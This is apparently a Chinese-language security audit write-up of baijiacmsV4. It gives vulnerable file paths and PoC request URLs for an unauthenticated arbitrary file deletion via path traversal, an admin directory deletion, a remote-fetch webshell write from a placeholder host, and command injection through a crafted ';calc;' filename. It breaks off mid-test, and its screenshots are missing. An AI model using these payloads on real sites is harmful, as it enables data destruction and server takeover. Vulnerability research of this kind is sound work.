baijiacmsV4代码审计
baijiacmsV4代码审计! 先熟悉下代码结构! 代码结构 addons 插件 api 接口 assets 静态文件 attachment 上传目录 cache 缓存目录 config 系统配置文件 include 系统文件 system 后端代码 个人将他们分成两部分! 一部分是 system本身!另一部分是eshop!
baijiacmsV4代码审计!
先熟悉下代码结构!
代码结构
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统配置文件
include 系统文件
system 后端代码


个人将他们分成两部分!
一部分是 system本身!另一部分是eshop!

漏洞复现
任意文件删除
不需要admin权限
漏洞文件位置:
/system/eshop/core/mobile/util/uploader.php



看上图应该可以知道$operation $file 都可控!
跟进一下:file_delete()


$settings返回是空的!那就可以容易文件删除了!

poc
/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../flag.txt
调试一下:

看到直接跳过了!


flag.txt已经删除了!

任意路径删除
需要后台权限!
system/manager/class/web/database.php

这点很好看!就判断了下 目录是否存在!然后删除目录!

poc
/index.php?mod=site&act=manager&do=database&op=delete&id=Li8uLi8uLi90ZXRl
删除后:


后台RCE
漏洞文件:后台的:
/system/public/class/web/file.php


poc
/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx.xxxx.xxxx/aaa/1.php

写入成功:

RCE
漏洞文件
/system/weixin/class/web/setting.php


$file_full_path直接传进了system!我们可以通过构造文件名来RCE!

但是image_compress_openscale是空!我们设置一下缩放!

设置完后:

我自己添加了个$a!来更清晰看出值!

poc
convert -quality 80 D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt # D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt #

但是出了意外!